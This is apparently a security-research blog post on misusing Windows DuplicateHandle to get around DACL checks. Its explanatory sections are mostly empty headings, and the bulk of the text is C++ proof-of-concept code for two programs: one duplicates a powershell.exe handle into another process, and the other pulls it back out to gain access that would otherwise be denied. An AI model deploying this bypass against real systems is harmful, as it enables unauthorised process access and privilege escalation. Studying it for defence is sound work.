Security of Handles & Misuse of DuplicateHandle

General Content

Handle Relationship with Security Descriptor and DACL

Duplicate Handle and Evade DACL Check

  1. “AttackerPE.exe”

GitHub – mehrshadmollaafzal/BypassDACL: PoC for Bypass DACL in Windows with DuplicateHandle

C++ / vendor.exe
DWORD PidHandle = GetPIDByName(procNameHandle);     // Get PID of powershell.exe
printf_s("[+] PID of %ws %d\n", procNameHandle.c_str(), PidHandle);
HANDLE needDupHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PidHandle);  // Get handle from powershell.exe
C++ / vendor.exe
    DWORD PidHandle = GetPIDByName(procNameHandle);     // Get PID of powershell.exe
    printf_s("[+] PID of %ws %d\n", procNameHandle.c_str(), PidHandle);
    HANDLE needDupHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PidHandle);  // Get handle from powershell.exe

    DWORD PidTarget = GetPIDByName(targetProcName);
    HANDLE TargerProcessHandle = OpenProcess(GENERIC_ALL, FALSE, PidTarget);

    if (needDupHandle != NULL) {
        printf_s("[+] Handle of %ws is OK\n", procNameHandle.c_str());
        if (!DuplicateHandle(GetCurrentProcess(), needDupHandle, TargerProcessHandle, &hTargetHandle, PROCESS_QUERY_INFORMATION, FALSE, DUPLICATE_SAME_ACCESS)) {
            return Error("[-] Error DuplicateHandle ");
        }
        printf_s("[*] Run Process Explorer and find handles of %ws then find a handle named %ws\n", targetProcName.c_str(), procNameHandle.c_str());
        printf_s("and write address of handle in AttackerPE code...\n");
        printf_s("[*] Sleep(INFINITE) After running AttackerPE.exe for exit this code press Ctrl+C\n");
        Sleep(INFINITE);
    }
    else {
        return Error("needDupHandle ");
    }
C++ / AttackerPE.exe
if (handleInfo.UniqueProcessId == processID) { // PID of notepad.exe
	if (handleInfo.Object == (PVOID)0xFFFFD58213F81080) { // copy address of handle from procexp64
		HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, processID);
		if (hProcess != NULL)	{
			HANDLE hDupHandle = NULL;
			if (DuplicateHandle(hProcess, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &hDupHandle, PROCESS_QUERY_INFORMATION, FALSE, DUPLICATE_SAME_ACCESS))	{
				printf("Duplicated handle: 0x%p\n", hDupHandle);
				// CloseHandle(hProcess);
				return hDupHandle;
				}	else {
					printf("Error DuplicateHandle: %d\n", GetLastError());
				}
				CloseHandle(hProcess);
			} else {
				printf("Error OpenProcess: %d\n", GetLastError());
			}
	}
}

Final Words:

References

karl-bridge-microsoftDuplicateHandle function (handleapi.h) – Win32 apps​

kexugitSecurity Briefs: Exploring Handle Security in Windows

Karl-Bridge-MicrosoftProcess Security and Access Rights – Win32 apps​

alvinashcraftDACLs and ACEs – Win32 apps

Thanks to

Twitter Taha Tavakoli (@Decoder0x01) on X

Twitter Pavel Yosifovich (@zodiacon) on X​

Twitter Sandino Araico 🇲🇽 (@KBrown) on X​

.

.